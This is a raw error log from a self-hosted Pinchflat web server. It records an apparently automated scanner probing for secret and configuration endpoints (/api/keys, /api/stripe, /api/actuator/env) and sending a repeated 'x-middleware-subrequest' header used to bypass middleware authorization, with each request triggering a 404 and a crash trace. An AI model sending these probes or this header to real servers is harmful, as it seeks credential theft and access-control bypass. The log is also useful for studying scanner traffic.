request_path: "/api/stripe", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgb59wufcEccABcIi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21575.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36964}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21575.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36964}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21576.0>, params: %{}, path_info: ["api", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", (truncated) 15:40:35.845 [info] GET /api/actuator/env 15:40:35.845 [info] GET /api/keys 15:40:35.845 [debug] QUERY OK source="settings" db=0.1ms idle=228.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.845 [debug] QUERY OK source="settings" db=0.1ms idle=116.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.845 [debug] QUERY OK source="settings" db=0.0ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.845 [debug] QUERY OK source="settings" db=0.0ms idle=116.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.845 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.845 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.846 [error] #PID<0.21580.0> running PinchflatWeb.Endpoint (connection #PID<0.21578.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/keys ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21578.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36984}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21580.0>, params: %{}, path_info: ["api", "keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/keys", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgcUrKEXwr7oABcJC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21578.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36984}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21578.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36984}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21580.0>, params: %{}, path_info: ["api", "keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Wind (truncated) 15:40:35.846 [error] #PID<0.21579.0> running PinchflatWeb.Endpoint (connection #PID<0.21577.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21577.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36968}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21579.0>, params: %{}, path_info: ["api", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgcUpUy1evq4ACMih"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21577.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36968}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21577.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36968}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21579.0>, params: %{}, path_info: ["api", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-cont (truncated) 15:40:35.958 [info] GET /api/payment/config 15:40:35.958 [info] GET /admin/actuator/env 15:40:35.958 [debug] QUERY OK source="settings" db=0.2ms idle=224.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.958 [debug] QUERY OK source="settings" db=0.2ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.958 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.958 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.958 [debug] QUERY OK source="settings" db=0.1ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.958 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.958 [error] #PID<0.21583.0> running PinchflatWeb.Endpoint (connection #PID<0.21581.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/payment/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/payment/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21581.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36994}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21583.0>, params: %{}, path_info: ["api", "payment", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/payment/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgcvhuwC3tVAACMjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21581.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36994}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/payment/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21581.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36994}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21583.0>, params: %{}, path_info: ["api", "payment", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {" (truncated) 15:40:35.959 [error] #PID<0.21584.0> running PinchflatWeb.Endpoint (connection #PID<0.21582.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21582.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37002}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21584.0>, params: %{}, path_info: ["admin", "actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgcvhx5GHH58ABcJi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, 